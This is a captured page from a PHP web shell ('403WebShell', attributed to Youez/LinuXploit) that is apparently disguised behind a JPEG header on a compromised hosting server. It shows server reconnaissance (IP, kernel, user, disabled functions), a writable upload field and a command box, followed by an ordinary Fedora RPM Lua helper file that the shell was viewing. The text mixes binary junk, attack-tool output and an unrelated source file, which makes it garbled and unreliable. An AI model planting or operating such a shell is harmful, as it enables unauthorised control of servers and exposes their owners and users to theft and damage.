JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.166  /  Your IP : 216.73.217.80
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/rpm/lua/fedora/srpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/rpm/lua/fedora/srpm/python.lua
-- Convenience Lua functions that can be used within Python srpm/rpm macros

-- Determine alternate names provided from the given name.
-- Used in pythonname provides generator, python_provide and py_provides.
-- If only_3_to_3_X is false/nil/unused there are 2 rules:
--  python3-foo  -> python-foo, python3.X-foo
--  python3.X-foo -> python-foo, python3-foo
-- If only_3_to_3_X is true there is only 1 rule:
--  python3-foo  -> python3X-foo
-- There is no python-foo -> rule, python-foo packages are version agnostic.
-- Returns a table/array with strings. Empty when no rule matched.
local function python_altnames(name, only_3_to_3_X)
  local xy
  if only_3_to_3_X then
    -- Here we hardcode the xy prefix we want to obsolete to "39", because:
    -- 1. Python 3.9 will remain the main Python version in RHEL 9
    -- 2. python39 in RHEL 8 is still using the dotless naming (as opposed to
    --    python3.9)
    xy = "39"
  else
    xy = rpm.expand('%{__default_python3_pkgversion}')
  end
  local altnames = {}
  local replaced
  -- NB: dash needs to be escaped!
  if name:match('^python3%-') then
    local prefixes = only_3_to_3_X and {} or {'python-'}
    for i, prefix in ipairs({'python' .. xy .. '-', table.unpack(prefixes)}) do
      replaced = name:gsub('^python3%-', prefix)
      table.insert(altnames, replaced)
    end
  elseif name:match('^python' .. xy .. '%-') and not only_3_to_3_X then
    for i, prefix in ipairs({'python-', 'python3-'}) do
      replaced = name:gsub('^python' .. xy .. '%-', prefix)
      table.insert(altnames, replaced)
    end
  end
  return altnames
end


local function __python_alttags(name, evr, tag_type)
  -- for the "provides" tag_type we want also unversioned provides
  local only_3_to_3_X = tag_type ~= "provides"
  local operator = tag_type == "provides" and ' = ' or ' < '

  -- global cache that tells what package NEVRs were already processed for the
  -- given tag type
  if __python_alttags_beenthere == nil then
    __python_alttags_beenthere = {}
  end
  if __python_alttags_beenthere[tag_type] == nil then
    __python_alttags_beenthere[tag_type] = {}
  end
  __python_alttags_beenthere[tag_type][name .. ' ' .. evr] = true
  local alttags = {}
  for i, altname in ipairs(python_altnames(name, only_3_to_3_X)) do
    table.insert(alttags, altname .. operator .. evr)
  end
  return alttags
end

-- For any given name and epoch-version-release, return provides except self.
-- Uses python_altnames under the hood
-- Returns a table/array with strings.
local function python_altprovides(name, evr)
  return __python_alttags(name, evr, "provides")
end

-- For any given name and epoch-version-release, return versioned obsoletes except self.
-- Uses python_altnames under the hood
-- Returns a table/array with strings.
local function python_altobsoletes(name, evr)
  return __python_alttags(name, evr, "obsoletes")
end


local function __python_alttags_once(name, evr, tag_type)
  -- global cache that tells what provides were already processed
  if __python_alttags_beenthere == nil
      or __python_alttags_beenthere[tag_type] == nil
      or __python_alttags_beenthere[tag_type][name .. ' ' .. evr] == nil then
    return __python_alttags(name, evr, tag_type)
  else
    return nil
  end
end

-- Like python_altprovides but only return something once.
-- For each argument can only be used once, returns nil otherwise.
-- Previous usage of python_altprovides counts as well.
local function python_altprovides_once(name, evr)
  return __python_alttags_once(name, evr, "provides")
end

-- Like python_altobsoletes but only return something once.
-- For each argument can only be used once, returns nil otherwise.
-- Previous usage of python_altobsoletes counts as well.
local function python_altobsoletes_once(name, evr)
  return __python_alttags_once(name, evr, "obsoletes")
end


return {
  python_altnames = python_altnames,
  python_altprovides = python_altprovides,
  python_altobsoletes = python_altobsoletes,
  python_altprovides_once = python_altprovides_once,
  python_altobsoletes_once = python_altobsoletes_once,
}

Youez - 2016 - github.com/yon3zu
LinuXploit